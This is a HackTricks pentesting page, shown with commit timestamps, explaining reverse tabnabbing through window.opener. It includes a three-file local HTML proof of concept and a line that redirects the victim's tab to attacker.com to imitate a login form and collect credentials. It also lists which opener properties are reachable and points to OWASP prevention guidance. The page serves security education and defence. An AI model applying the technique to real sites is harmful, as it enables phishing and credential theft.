hacktricks/pentesting-web/reverse-tab-nabbing.md

90 lines
3.7 KiB
Markdown
Raw Normal View History

2021-05-01 15:23:19 +00:00
# Reverse Tab Nabbing
## Description
In a situation where an **attacker** can **control** the **`href`** argument of an **`<a`** tag with the attribute **`target="_blank" rel="opener"`** that is going to be clicked by a victim, the **attacker** **point** this **link** to a web under his control (a **malicious** **website**). Then, once the **victim clicks** the link and access the attackers website, this **malicious** **website** will be able to **control** the **original** **page** via the javascript object **`window.opener`**.\
2021-08-28 15:55:37 +00:00
If the page doesn't have **`rel="opener"` but contains `target="_blank"` it also doesn't have `rel="noopener"`** it might be also vulnerable.
2021-05-01 15:23:19 +00:00
2021-08-28 15:55:37 +00:00
A regular way to abuse this behaviour would be to **change the location of the original web** via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that **looks like the original one**, so it can **imitate** the **login** **form** of the original website and ask for credentials to the user.
2021-05-01 15:23:19 +00:00
2021-11-30 16:46:07 +00:00
However, note that as the **attacker now can control the window object of the original website** he can abuse it in other ways to perform **stealthier attacks** (maybe modifying javascript events to ex-filtrate info to a server controlled by him?)
2021-05-01 15:23:19 +00:00
## Overview
### With back link
Link between parent and child pages when prevention attribute is not used:
2021-11-30 16:46:07 +00:00
![](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
2021-05-01 15:23:19 +00:00
### Without back link
Link between parent and child pages when prevention attribute is used:
2021-11-30 16:46:07 +00:00
![](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
2021-05-01 15:23:19 +00:00
2021-11-30 16:46:07 +00:00
### Examples <a href="#examples" id="examples"></a>
2021-05-01 15:23:19 +00:00
Create the following pages in a folder and run a web server with `python3 -m http.server`\
2021-05-01 15:23:19 +00:00
Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link and note how the **original** **website** **URL** **changes**.
{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}
{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
{% endcode %}
{% code title="malicious_redir.html" %}
2021-05-01 15:23:19 +00:00
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
2021-11-30 16:46:07 +00:00
### Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
2021-05-01 15:23:19 +00:00
The malicious site can only access to the following properties from the **opener** javascript object reference (that is in fact a reference to a **window** javascript class instance) in case of **cross origin** (cross domains) access:
2021-05-01 15:23:19 +00:00
* `opener.closed`: Returns a boolean value indicating whether a window has been closed or not.
* `opener.frames`: Returns all iframe elements in the current window.
* `opener.length`: Returns the number of iframe elements in the current window.
* `opener.opener`: Returns a reference to the window that created the window.
* `opener.parent`: Returns the parent window of the current window.
* `opener.self`: Returns the current window.
* `opener.top`: Returns the topmost browser window.
If the domains are the same then the malicious site can access all the properties exposed by the [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) javascript object reference.
## Prevention
2021-11-30 16:46:07 +00:00
Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
2021-05-01 15:23:19 +00:00
## References
{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}
2021-05-01 15:23:19 +00:00
2022-04-05 22:24:52 +00:00